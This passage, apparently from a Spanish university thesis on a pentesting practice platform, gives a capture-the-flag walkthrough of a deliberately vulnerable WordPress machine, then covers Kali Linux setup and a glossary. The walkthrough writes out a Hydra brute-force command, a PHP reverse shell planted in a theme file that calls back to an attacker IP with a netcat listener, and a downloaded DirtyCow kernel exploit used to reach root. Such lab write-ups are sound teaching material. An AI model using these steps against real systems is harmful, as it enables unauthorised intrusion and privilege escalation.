0 Opening BINARY mode data connection for ordenes.txt (93 bytes)
26 Transfer complete

Figura 88: Conexion al servidor FTP

Con el archivo “ordenes.txt” en la maquina de atacante, se procede a leerlo en
busca de pistas, comprobando que contiene informacién interesante.

/home/kali/Miguel/nmap
tiene que estar listo para el jueves! No veo avances.
Ademas has instalado el servidor en una maguina muy antigua! Esto es potencialmente vulenrable!

Hablaremos seriamente

Att: El Director

Figura 89: Lectura del documento encontrado
Del archivo de texto se pueden intuir dos cosas:

- El administrador de WordPress se llama Miguel, por lo que nombre de
usuario deberia ser el mismo o semejante.

- La méaquina es muy antigua, lo que explicaria las versiones no tan actuales
de sus servicios (Apache, WordPress...) y es muy probable que existan
vulnerabilidades a nivel de kernel, lo que puede facilitar enormemente la
escalada de privilegios.

7.2 Explotacion
7.2.1 Acceso al panel de administracion por fuerza bruta
Ahora que ya se conoce esta informacidn, se prueba a enumerar huevamente un
usuario de WordPress. Al introducir “miguel” como usuario en la pagina de

login de WordPress, se puede ver como el mensaje de error del gestor de
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contenido es diferente a cuando se introducia un usuario inexistente, cosa que
confirma la existencia de dicho usuario. A continuacion, se presentan dos
imagenes para poder ver bien la diferencia.

ERROR: La contrasena que has introducido para el ERROR: Nombre de usuario no vilido. ;Olvidaste
usuario miguel es incorrecta, jOlvidaste tu tu contrasefia?
contrasenary T
: admin
miguel

Acceder

Figura 90: Comprobando que WordPress desvela a un usuario existente

Como se puede comprobar en la figura noventa, WordPress confirma la
existencia del usuario miguel.

En este punto se podria intentar adivinar la contrasefia, pero tras varios intentos
de las tipicas contrasefas “12345”, “hola”... se ve claramente que no es viable, por lo
que se procede a la fuerza bruta. En este caso, tratindose de una web, y comprobando
que la peticion de inicio de sesion viaja por POST, se puede hacer uso de la herramienta
Hydra con el modulo “http-post-form”. Para ello, es necesario interceptar la peticion
que se lanza al servidor donde viajan las credenciales introducidas (para luego ser
procesadas por el servidor, comprobar que son vélidas, devolver sesion de usuario...
etc), pues es un requerimiento de la herramienta.

Se va a realizar una prueba de inicio de sesion utilizando los credenciales
“miguel:12345”, para tratar de encontrar dicha peticion y ver qué recibira el servidor.
Para ello se abre la herramienta “Network” del navegador (FireFox), y se lanza la
peticidon, como en la figura noventa y dos.
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miguel

Figura 91: Intercepcion de la peticion - Preparacion

Se lanza la peticién y...

POST Ji 192.168.0.42 wp-login.php

BEEBEEH
‘H'H-H:

[
8

Figura 92: Intercepcion de la peticion - Lectura

La peticion es interceptada, se dirige a wp-login.php, parece correcto. Se
procede a investigarla mas a fondo, obteniendo el valor de los datos enviados por
POST, necesarios para la herramienta de fuerza bruta Hydra.

—
[Fl Headers  Cookies Request  Response  Timings

Form data

log: "miguel

Request payload

Llog=miguel&pwd=123456wp- submit=Accederkredirect to=http%3A%2F%2F192.168.0.42%2Fwp-admin%2F&testcookie=1

Figura 93: Obtencidn de los datos de la peticion

En la seccion de “Request” se puede ver la informacidon que se necesita, donde
encontramos las credenciales anteriormente introducidas “miguel” y “12345”. Estos
datos son valores de los campos “log” y “pwd” respectivamente, que se pueden ver en la
figura noventa y cuatro. Ya se dispone de todo lo necesario para intentar la fuerza bruta,
pero hay un par de cosas que necesitan ser mencionadas para entender bien el concepto.

En primer lugar, la fuerza bruta necesita siempre un diccionario, es decir, una
lista de palabras que se probaran una detrds de otra para el usuario introducido, en el
formulario especificado. El diccionario de contrasefias mas extendido es el famoso
“rockyou.txt” que contiene varios millones de contrasefias provenientes de una enorme
filtracion la base de datos de una plataforma, Rockyou, de ahi su nombre.
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Dado que es un formulario web, como se ha visto, los datos viajan por POST.
Existe un médulo de “Hydra” para esto, llamado “http-post-form”, que tiene tres
requerimientos. En primer lugar, necesita la direccion web del formulario, es decir, a
ddnde van esos datos, siendo este “wp-login.php”. Necesita también los datos de dicha
peticion, estipulando en ella donde cambiar la contrasefia por cada una de las
contrasefias de la lista. En este caso, probaria a cambiar “12345” por cada una de las
palabras encontradas en el diccionario por orden. Por Gltimo, necesita saber cuando
parar, es decir, cuando se encuentran unas credenciales véalidas. Para ello, hay que
indicar una cadena que la pagina devuelva cuando las credenciales no son validas, pero
que no devuelva cuando si lo son. En este caso, cuando las credenciales no son validas
se muestra el mensaje “ERROR: La contrasefia que has introducido para el usuario
miguel es incorrecta. ¢Olvidaste tu contrasefia?”. Este, a pesar de ser Util, presenta
varios caracteres que se pueden omitir con tal de evitar futuros errores. Con “La
contrasefa que has introducido para el usuario” 0 “ERROR” ya valdria, puesto que esta
cadena nunca la devolvera la pégina si las credenciales son correctas. Dicho esto, se
configurara Hydra con el médulo http-post-form para conseguir las credenciales del
usuario administrador.

El comando completo seria el siguiente:

hydra 192.168.0.42 -l miguel -P /usr/share/wordlists/rockyou.txt

http-post-form "/wp-login.php:log="USER"&pwd="PASS"&wp-
submit=Acceder&redirect_to=http%3A%2F%2F192.168.0.42%2Fwp-
admin%2F&testcookie=1:La contrasefia que has introducido para el usuario” -V

Desglosado, sera mas facil entenderlo:

En primer lugar, se especifica la direccion IP de la maquina,192.168.0.42

-l indica el nombre de usuario, en este caso miguel

-P indica el diccionario a utilizar, en este caso rockyou.txt

El mddulo de http-post-form explicado anteriormente y los datos necesarios
-V para que el programa emita los resultados a medida que prueba.

Tras varias iteraciones, la herramienta descubre que la contrasefia del usuario
miguel es “chocolate” como se puede ver en la figura noventa y cuatro.
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Figura 94: Técnica de fuerza bruta con Hydra

7.2.2 Obteniendo una reverse shell con PHP

Dado que ya se conocen las credenciales, se accede al panel de administracion

del sitio, donde hay que investigar mas a fondo.
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i¥a estd disponible WordPress 5.8! Por favor, actualiza ahora.

Inicio

A Escritorio
A Entradas O Es necesario actualizar PHP . Borrador rapido .
0 Medios
WordPress ha detectado que tu sitio esta funcionando con una Titulo
L] < version insegura de PHP.

;Qué es PHP y cémo afecta a mi sitio? (En qué estds pensanda?

PHP es el idioma de programacion usado para construir y mantener

A WordPress. Las versiones mas recientes de PHP son mas rapidas y
mads seguras, actualizar tendra un efecto positivo en el rendimiento
kP del sitio. Guardar borrador
- U Aprende mas sobre actualizar PHP [
# Herramientas Eventos y noticias de WordPress -
‘ De unvistazo “ Asiste a un proximo evento cerca de ti. &
[« Ja o e
| 1pagina 1 Group Activity: Finding a Topic for jueves, 9 Sep, 2021
. . our WordPress Talk 3:00am
WordPress 5.1.10 esta funcionando con el Actualizar a 5.8 y(':)nllne
tema Twenty Nineteen.
{_? WordCamp Galicia, Spain jueves, 30 Sep, 2021
Online
Actividad -
£ Como empezar un negocio de jueves, 23 Sep, 2021
disefio web con WordPress 6:30 pm
. . Online

WordPress y yo somos multitud

v WPTavern: #7 — Ajit Bohra on Gutenberg, Full Site Editing and

Figura 95: Panel de administracion de WordPress

Hay diferentes maneras de explotar el panel de administracion en WordPress,
una de ellas, y la que se va a utilizar, es modificar un tema disponible en el sitio, y
cambiar el codigo de alguna de sus paginas por codigo malicioso. Cuando el servidor
web (apache) interprete este cddigo malicioso en PHP, el objetivo del pentester se
cumplird. En este caso, se modificara la pagina index.php del tema “Twenty Seventeen”
para inyectar un cddigo malicioso para entablar una reverse shell en la maquina de
atacante. En otras palabras, se le dird al servidor web que mande un terminal de
comandos a un puerto concreto, donde el atacante estara escuchando del otro lado para
poder recibirlo. Por tanto, se accede a la pagina a manipular.
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& Miguel &6 B + Afadir

Escritorio
{¥a esta disponible WordPress 5.8! Por favor, actualiza ahora.
Entradas
Medios Editar temas
Piginas Twenty Seventeen: Plantilla de la pagina principal (index.php)
B ——
Comentarios Contenido del archivo seleccionado:
. 1 <7ph
Apariencia - .,F,) .
2/
3 * The main template file
4 ¥
5 * This is the most generic template file in a WordPress theme
6 * and one of the two required files for a theme (the other being style.css).
7 % It is used to display a page when nothing more specific matches a query.
8 * E.g., it puts together the home page when no home.php file exists.
9 ¥
18 * @link https://developer.wordpress.org/themes/basics/template-hierarchy/
Editor de temas 11
12 * @package WordPress
s s 13 * @subpackage Twenty Seventeen
¢ Plugins (2 . -
» ug 14 * @since 1.0
15 * @version 1.0
16 */
# Herramientas 17
18 get_header(); 7=
Ajustes 19
20 =div class="wrap"=
QO cCer 21 <?php if ( is_home() && ! is_front_page() } : 7=
22 <header class="page-header"=
23 <hl class="page-title"=<?php single post_title(}; 7?=</hl>
24 </header=
25 <?php else : 7>
Documentacién: Mombre de la funcion... M

Figura 96: Modificando el cddigo de la pagina principal

El siguiente paso es buscar el codigo malicioso y modificarlo para que se adapte
a las necesidades. Se necesita un codigo que ejecute una reverse shell mediante PHP,
una muy famosa es la “php-reverse-shell.php” de “pentest-monkey”, disponible en
internet. Se copia el codigo malicioso dentro de index.php, y se modifican los campos
“ip” y “puerto”, definiendo la IP de la maquina atacante y el puerto por el que se va a
escuchar. En este caso, la IP de atacante es 192.168.0.48 (hostname -1), y el puerto
elegido sera el puerto 443. Por tanto, es una buena practica poner ese puerto en escucha
en este momento. Esto se consigue mediante el comando “nc -lnvp 443 que pone al
binario “netcat” a escuchar por dicho puerto.
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2 /home/kali/Miguel/nmap

192.168.0. 4 5Ll dead:beef:2::101f

2 /home/kali/Miguel/nmap

443

Listening on [any] 443 ...

Figura 97: Obteniendo la IP de la maquina atacante y poniéndose en escucha

Se modifica index.php de la manera anteriormente comentada y se guardan los
cambios, especificando la IP de la maquina atacante y el puerto al que sera enviada la
reverse shell, por el que estara escuchando el pentester. (Figura noventa y ocho)

34 // This script will make an outbound TCP connection to a hardcoded IP and port.

35 // The recipient will be given a shell running as the current user (apache normally).
36 //

37 // Limitaticns

38 /f -----------

39 // proc_open and stream_set_blocking require PHP version 4.3+, or 5+

48 // Use of stream select() on file descriptors returned by proc_open() will fail and return FALSE ur§
41 // Some complile-time optiecns are needed for daemonisation (like pentl, pesix). These are rarely av
42 7/

43 // Usage

44 Jf o-----

45 // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

47 set_time_limit (0);

48 SVERSION = "1.8";

49 §ip = '192.168.0.48'; // CHANGE THIS|
50 $port = 443;  // CHANGE THIS

51 $chunk_size = 1400;

52 Swrite a = null;

53 Serror_a = null;

54 §shell = 'uname -a; w; id; /bin/sh -i';
55 Sdaemon = @;

56 $debug = 0;

58 //
59 // NDaemonise ourself if nossible to avoid zombies later

Figura 98: Inyeccion del cédigo malicioso

Una vez guardados, se accede al index.php de manera normal y...

/home/kali/Miguel/nmap

] from (UNKNOWN) [192.168.0
Linux ubuntu [ ric #15-Ubuntu Thu Apr 16 H: @ ip86 1686 1686 GNU/Linux
11:11:17 up L o: aver B,
TTY 2 G IDLE
ttyl 2 lldays @.1€ 8.16s -bash
www-data) gi wawi-data) groups= www-data)
job control ned off
$ whoami
W —data

5 1l

Figura 99: Obtencion de la reverse shell

75



7.3 Escalada de privilegios
7.3.1 Primeros pasos

Bingo, se consigue una reverse shell en la maquina. En este punto, el objetivo es
encontrar un fallo de seguridad que permita la escalada de privilegios. Se probarian
comandos como “sudo -1, se revisaria el “crontab” o se buscaria algun binario SUID
potencialmente explotable. Pero la realidad, es que sabiendo que la maquina es antigua,
conviene enumerar la version de la distribucioén con el comando “uname -a”, que, como
se puede comprobar esta obsoleta y es vulnerable (como bien dijo el director).

$ uname -a
Linux ubuntu 3.19.0@-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:01 UTC 2815 i686 1686 1686 GNU/Linux

5

Figura 100: Obtencidn de la version de sistema operativo
7.3.2 Tratamiento del terminal

Sin embargo, antes de comenzar con la explotacién, es interesante realizar un
tratamiento del terminal, puesto que es muy fragil actualmente y con un simple
“Control+C” se terminaria. Por tanto, se escribe la siguiente secuencia de comandos:

Script /dev/null -c bash (en la maquina victima)

Control+Z (para cambiar a la maquina atacante)

Stty raw -echo; fg (fg para volver a la maquina victima)

Reset

xterm (se especifica el tipo de terminal que se quiere después del reset)
Enter

$ script /dev/null -c bash

—

www—datagubuntu: /$ "2
zsh: suspended nc -lnvp 443

2 fhome/kali/Miguel/nmap
stty raw fg
[1] + continued nc -lnvp 443

reset]]

Figura 101: Tratamiento del terminal — Reseteo del terminal

Esto crea un terminal nuevo el que, tras exportar las variables TERM y SHELL,
a ‘xterm’ y ‘bash’ respectivamente, queda totalmente interactivo y sélido. Tal que asi:

File Actions Edit View Help

wmw-datagubuntu: /$ export TERM=xterm

wamw —datagubunt xport SHELL=bash
wew —datagubuntu: /! c

Figura 102: Tratamiento del terminal — Variables TERM y SHELL
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Como se puede ver, ni utilizando Control+C se rompe, ademas de que permite
desplazarse mucho mas libremente por ¢l terminal, revisar el historial de comandos...
etc.

7.3.3 Obtencion de la flag de usuario

En este punto, ya se podria leer la flag de usuario, que se encuentra en
/home/asekas/user.txt

waw-datafubuntu: /$

ff3e27a0d8438355b6

Figura 103: Lectura de la bandera de usuario

7.3.4 Explotacion del kernel con dirtycOw

Dado que ya se ha enumerado el kernel, se comprueba si es vulnerable al famoso
exploit DirtycOw. Desde WikiPedia, se comprueba que si es vulnerable tal y como se ve
en la figura ciento cuatro.

Earliest kernel version fixed Linux distribution that uses this
3.2.0-113.155 Ubuntu 12.04 LTS

3.13.0-100.147 Ubuntu 14.04 LTS (Linux Mint 17.1)
3.16.36-1+deb8u2 Debian 8

4.4.0-45.66 Ubuntu 16.04 LTS

4.8.0-26.28 Ubuntu 16.10

3.10.0-327.36.3 RHEL 7, CentOS 7

2.6.32-642.6.2 RHEL 6, CentOS 6

2.6.18-416 RHEL 5, CentOS 5

3.0.101-84.1 SLES 11 5P4

3.12.60-52.57.1 SLES 12 GA LTSS
3.12.62-60.64.8.2 SLES 12 5P1

Figura 104: Recuperando informacion de la vulnerabilidad

El siguiente paso es encontrar el exploit en internet (GitHub, exploit-DB...) y
conseguir introducirlo en la maquina. Indagando en la red, se encuentra un buen exploit
escrito en C++ que podria servir. https://github.com/gbonacini/CVE-2016-
5195/tree/master/legacy

Antes de importarlo a la maquina, se debe comprobar, dado que se trata de un
exploit escrito en C++, que existe el compilador para ello. Por tanto, en la maquina
victima intentamos encontrar el programa.
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www-datafubuntu: /% which gcc
Jusr/bin/gcc
ww-datagubuntu: /$ gcc —ve
gcc (Ubuntu 4.9.2

Copyright rge ire Foundation, Inc.
This 1is free software; ses source for copying conditions. There is NO
warranty; not even for N NTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Figura 105: Comprobacion de la existencia del compilador para el exploit

Se confirma la existencia del compilador. Ahora queda encontrar un sitio donde
poder importar el exploit. Este lugar tiene que ser un sitio con permisos de escritura
donde el usuario www-data pueda escribir. Algo a recordar, es que la carpeta “/tmp” es
un directorio con permisos de escritura global, donde cualquier usuario puede escribir,
por lo que se procede a importar el exploit con la herramienta “wget”. Se descargan
tanto el exploit como el archivo make file necesario para compilarlo.

ster/le ) .Cpp
185.199.118. , 185.199,.111.133, ...

>] 10.25K -—--KB/s in 9.801s
(15.5 MB/s) - "dcow.cpp' saved [10498/10498]
file

N .133, 185.199.108.133, ...
43 ... connected.

makefile _—] 132 —+—KB/s in @s

2021-09-08 11: (16.8 MB/s) - 'makefile' saved [132/132]

ww—data@ubuntu: /tmps I

Figura 106: Importacion del script a la maquina victima

Ahora, con los dos archivos delante, es tan sencillo como ejecutar make para
compilar el programa, siguiendo las instrucciones del exploit.
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[#2}

[#2]

=J S

=
g+

drwx 3 root roc
waw-datafubuntu: /tmp$ make
g+ -Wall -pedantic -02 -pthread -o dcow dcow.cpp

[ ]

www-datagubuntu:/tmp$ 1s -1

total 52

—TWXTWXTWX W -data ita 28B40 5S¢ - dcow
-TW-rw-rw www-data ata 184 S¢ dcow.cpp
—TW-TW-TW- www-data www-data 12 S¢ 1 makefile
drwx 3 root root LA g 28 09: systemd-pr
v -datagubuntu:/tmp$

Figura 107: Compilacion del exploit

Para finalmente ejecutarlo y...

waw-datagubuntu: /tmp$ ./dcow
Running

Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
w-datadubuntu:/tmp$ |

Figura 108: Ejecucion del exploit

La contrasefia de root se actualiza a “dirtyCowFun”. Tan solo queda
comprobarlo mediante el comando “su”, confirmando que efectivamente, se ha logrado
comprometer la maquina.

Root password is:
Enjoy! :-)
www—datapubuntu: /tmp$ su root
Password:

root@ubuntu:/tmp# whoami

root

root@ubuntu:/tmp# [

Figura 109: Cambio de usuario a root
7.3.5 Obtencidn de la flag de sistema

En este punto, ya seria posible leer la flag localizada en “/root/root.txt”, dando
por finalizada la resolucion de la maquina.

rootgubuntu:

9cd99@cl195

Figura 110: Lectura de la flag de sistema
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8 CONCLUSIONES FINALES

8.1 Conclusiones del proyecto

En cuanto a las conclusiones finales del proyecto, se puede decir que se ha
logrado una plataforma de practica para pentesting bastante solida. Las maquinas
virtuales que se ponen al alcance de los diferentes usuarios de la plataforma funcionan
con un buen rendimiento y de forma paralela. Asi mismo, la plataforma cumple con los
estandares de disefio planteados en las fases iniciales, siendo ésta una plataforma
completamente en castellano, con un disefio minimalista y con pocos controles, los
cuales resultan sencillos y claros.

La plataforma sin duda recoge la funcionalidad necesaria y capacita al usuario
para dar sus primeros pasos en el mundo del pentesting. El funcionamiento de la pagina
queda claro y no pone trabas, al tiempo que Miguel resulta una muy buena méaquina
para recién iniciados en el sector, presentando vulnerabilidades muy sencillas de
explotar, pero que requieren de un buen analisis y pensamiento lateral, maximizando el
aprendizaje. La existencia de pistas a lo largo del CTF, mantiene al usuario atento y
motivado, haciendo de Miguel una muy buena toma de contacto con el mundo del
pentesting.

Se ha conseguido también que dado el mecanismo empleado en la plataforma
(conexiones entre dos servidores, concurrencias en el arranque y detenciéon de las
maquinas, asi como su posterior borrado, siendo ademas todo esto con tecnologias
bastante diferentes) cumpla su cometido asegurando, hasta la fecha, un buen control de
errores gestionado mediante unos controles de la pagina bien definidos y un buen
control de la base de datos utilizada, donde se registra la mayor parte de la informacion.

Se consigue, con todo esto, una plataforma muy digna que puede significar el
principio de una carrera en ciberseguridad para muchas personas que o0 bien
desconocian su interés por el campo o bien no sabian por dénde comenzar, paliando esta
falta de “artesanos del oficio” en cuanto al sector se refiere. Todo esto, ademas,
mediante un camino mucho mas fécil de recorrer que el que ofrecen otras plataformas.

8.2 Desarrollos futuros

El proyecto requiere de una conexion VPN que permita a los usuarios tener
contacto directo con las méaquinas que se despliegan en el servidor, pues estas son
unicamente visibles estando en la misma red.

Por supuesto, la adicion de nuevos retos CTF enriqueceria la plataforma, por lo
gue ademas del desarrollo de los mismos por parte de los administradores de UMHack,
deberia implementarse un area en la pagina web donde un usuario puede subir su propio
reto. Reto el cual, después de un proceso de validacion, se agregaria a la pagina,
haciendose accesible para el resto de usuarios.
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ANEXO |

I.1 Creando un entorno de trabajo adecuado

Trabajar en un entorno que organizado y con las herramientas adecuadas es
indispensable para todo tipo de tareas, y no va a ser menos para el pentesting. En este
anexo se comentaran pautas metodoldgicas, cuales deberian o podrian ser los primeros
pasos para empezar y desenvolverse medianamente correcto, asi como preparar un
entorno de trabajo con todas las herramientas necesarias.

En primer lugar, existen varias distribuciones de Linux orientadas a pentesting,
pero hoy se va a hablar en concreto de Kali Linux. Kali Linux trae a disposicion del
usuario un completo arsenal de herramientas preinstaladas y una configuracién sencilla,
casi portable, para que comenzar en el mundo del pentesting no sea una tarea mas dificil
de lo que ya es de base. No por nada se considera a esta distribucion la navaja suiza del
pentester. En el anterior anexo se veian varias de las herramientas que Kali ya trae de
serie, pues es esta la distribucion utilizada para simular el ataque al CTF Miguel. Entre
ellas se han visto hydra para fuerza bruta, nmap para reconocimiento y enumeracion,
wget para descargar recursos web muy facilmente... pero esto no representa ni el uno
por ciento del total.

Sus creadores son los mismos que los de la entidad de ciberseguridad “Offensive
Security”, padres de reconocidas certificaciones del sector como OSCP y OSCE
(Offensive Security Certified Professional y Offensive Security Certified Expert
respectivamente). La distribucion se mantiene actualizada, con todo su set de
herramientas a la orden del dia, tanto es asi, que sale a la luz mas de una version por
afio.

.11 Instalacion de Kali Linux

Para su descarga, se puede elegir entre varios formatos, destacando los formatos
de Oracle VirtualBox y VMware Workstation en maquina virtual. Esto permite una
grandisima verstatilidad y portatibilidad, siempre y cuando se tenga el software en
cuestion. Totalmente recomendado, y es el formato que se va a elegir para la
explicacion.

Primero hay que dirigirse a la pagina de Kali Linux, a la seccion de descargas

“Get Kali”, donde encontraremos diferentes tipos de formato para Kali. Se elegira el
formato de maquina virtual.
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Choose your Kali|
a»
e Bare Metal Virtual
— ARM e\) o ’ Machines e

S

Cloud Containers Live Boot WSL
:3 & [ 1)

EEN Y e ay

Figura 111: Descarga de Kali Linux — Opciones disponibles

Donde se elegira entre las dos plataformas de maquina virtual

-‘." Virtual Machines

Kali Linux VMware & VirtualBox images are available for users who prefer, or whose specific needs require a
virtual machine installation.

These images have the default credentials "kali/kali".

Virtual Machines Documentation »

—=

VMware VirtualBox
+ torrent sum + torrent sum
) pocumentation ) Documentation

Figura 112: Descarga de Kali Linux — Eleccidn de gestor de VM

Se descargard automaticamente una imagen .iso que se utilizard durante la
creacion de una maquina virtual en cualquiera de las dos plataformas. Es importante
asignar buenos recursos a la maquina, pues trabajar cémodo y eficientemente es
indispensable en este mundo.
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1111 Herramientas

Una vez instalada, se accede con los credenciales por defecto kali:kali. No es
necesario configurar nada adicional, pues ya viene todo bien instalado de serie, no
obstante, el entorno es totalmente personalizable al gusto del usuario.

En cuanto a los primeros pasos, se recomienda aprender a utilizar un terminal
Linux. A partir de aqui, también es indispensable saber utilizar las herramientas basicas
que se utilizan si no en todas, en la mayoria de las intrusiones como podria ser el caso
de:

- Nmap, para enumeracion de puertos y red, asi como otros servicios. Esta
herramienta tiene una cantidad enorme de scripts de enumeracién faciles de
utilizar y normalmente muy utiles.

- Netcat, binario para la comunicacion entre maquinas y en muchas ocasiones
para entablar una reverse shell.

- WireShark, para escanear la red, aunque su uso es algo mas avanzado y
dificil de sacarle utilidad.

- John The Ripper, para romper hashes que se encuentren durante un test de
penetracion.

- Burpsuite, para interceptar y manipular peticiones, como un proxy. Esta en
concreto es una herramienta muy importante (si no la que mas) para todo
tipo de pentesting web.

- Gobuster, para enumeracion de directorios web. Esta herramienta permite
escanear una direccion web descubriendo directorios ocultos, algo que de
manera manual seria dificil si no imposible.

- Whatweb, para un pequefio analisis inicial de una web.

- Por u(ltimo, comentar también la herramienta automéatica Metasploit, que
aunque es demasiado sencilla de utilizar, hasta tal punto que se “atrofian” las
habilidades de pentesting, puede ser interesante dado el caso.

La mayor herramienta del pentester es Internet. En Internet se puede encontrar
toda la informacion existente, todas estas herramientas serian la mayoria dificiles de
utilizar, pero el conocimiento y la documentacion hacen que sea al revés. Hace que
pasen de ser complicadas a utiles, y estd en el deber de todo pentester, aprender.
Aprender no solo estos conocimientos, sino aprender a buscar, mejorar la metodologia,
etc...

LIV Siguientes pasos y recursos adicionales

En cuando a los recursos por dénde empezar, es recomendable empezar en un
entorno que te permita hacerlo, como podria ser el caso precisamente de UMHack.

También existen plataformas del estilo donde poder aprender muchisimo,
aungue en ingles, son una grandisima fuente de conocimiento. Entre las mejores
destacan HackTheBox, recomendado para gente con ganas de sacarse las castafias del
fuego,
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TryHackMe para gente a la que le gusta tener un camino mas estructurado y guiado, y
VulnHub para verdaderos emprendedores y gente con ganas de aportar al sector.

En cuanto a la metodologia de trabajo, no tiene mucho misterio... se recomienda
crear un directorio para la méaquina en cuestion que se va a intentar penetrar, y tener
toda la informacion que se consigue bien documentada y organizada en subdirectorios,
de manera que sea facil consultarla.

Todas las maquinas empiezan por un simple nmap, es el punto comun de partida,
pero a partir de ahi, todo se vuelve un mar de preguntas y de diferentes caminos. Es el
deber del pentester investigar lo que encuentra y saber qué herramientas utilizar en cada
momento.
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GLOSARIO

Algoritmo de hashing — Algoritmo matematico que se le aplica a una cadena de texto,
la cual termina teniendo un formato concreto (longitud, rango de caracteres) definido
por el propio algoritmo. Dos cadenas diferentes, independientemente de su longitud o
caracteres utilizados, nunca tendran el mismo hash.

Apache — Servidor web muy reconocido. Utiliza el lenguaje PHP mayoritariamente.

Backend — Parte invisible de una pagina web, se refiere a la programacion que se
tramita en el servidor. Es meramente ldgico.

Base de datos — Software donde se almacenan datos estructurados y relacionados entre
si para su posterior utilizacion (generalmente por la l6gica de backend).

Bash — Lenguaje de comandos utilizado por los terminales Linux. Permite el scripting.

CTF — del inglés, “Capture The Flag” o Toma de la Bandera en espaiiol. Maquina
vulnerable disefiada con fallos de seguridad intencionados. En ella se encuentran dos
banderas que cumplen la funcién de punto de control. Competiciones de hacking ético
utilizan este tipo de “puzle”.

Enumeracién — Proceso de analisis de algo.

Exploit — Via potencial de aprovecharse de una vulnerabilidad. Generalmente programa
informatico disefiado especificamente para explotar la vulnerabilidad en cuestion.

Frontend — Parte visible de una pagina web, se refiere a la programacion de la parte
visual de la misma. También puede tener algo de ldgica.

GitHub — Famoso repositorio online donde se pueden encontrar abundantes ejemplos de
software de codigo abierto y de libre utilizacion. Pueden encontrarse exploits y otras
herramientas uUtiles para pentesting.

Hardware — Componentes fisicos de un sistema como procesador, disco duro...

Hash — Resultado de aplicar un algoritmo de hashing a una cadena de texto.

Input — Informacion que el recibe un software.
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Login — Hecho o lugar referente al inicio de sesion en un proyecto informatico.

MySQL — Gestor de base de datos muy reconocido. Utiliza el lenguaje SQL.

Output — Informacién que muestra o genera un software.

Password — del inglés, contrasefia.

Pentester — Persona que trabaja en pentesting

Pentesting — Rama ofensiva de la ciberseguridad que trata de detectar agujeros de
seguridad en un sistema o red.

Peticion — Comunicacion del usuario con el servidor por un protocolo especifico, ya sea
para que éste le devuelva informacion o para cedérsela.

PHP — Lenguaje de programacion web orientado a l6gica de backend.

Plugin — Funcionalidad totalmente opcional en forma de paquete, que puede agregarse a
un software.

Reverse Shell — Shell que permite la ejecucion remota de comandos en un sistema
ajeno. Término muy comun en el mundo de la ciberseguridad.

Root — Usuario con mayores privilegios en sistemas Linux.

Salt — Cadena de caracteres que se afiade a la contrasefia con el fin de aumentar la
seguridad del hash generado de la misma.

Scripting — Automatizacién de una serie de comandos.

Shell — Terminal interactivo de comandos de un sistema operativo.

Software — Componentes 16gicos de un sistema como programas, sistema operativo. ..

WordPress — Reconocido gestor de contenidos disefiado explicitamente para construir
una pagina web. Es conocido por la gran facilidad de implementacion que ofrece al
usuario.
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ACRONIMOS

DHCP — Dynamic Host Configuration Protocol. Protocolo encargado de la asignacion
de configuraciones de red a los diferentes dispositivos de una red.

FTP — File Transfer Protocol. Protocolo de transmisidn de archivos dentro de una red.

HTML — HyperText Markup Language. Lenguaje de marcado que dicta al navegador
como renderizar una pégina web.

HTTP — HiperText Transfer Protocol. Procotolo de transferencia de hipertexto que
permite las comunicaciones via web entre una pagina web y un usuario o software.

ICMP - Internet Control Message Protocol. Protocolo de control de mensajes en
internet. Reside en la capa 3 del modelo TCP/IP, se encarga de redirigir paquetes entre
redes.

SSH — Secure Shell. Protocolo que permite la comunicacion entre computadores.

VM — Virtual Machine. Méaquina virtual
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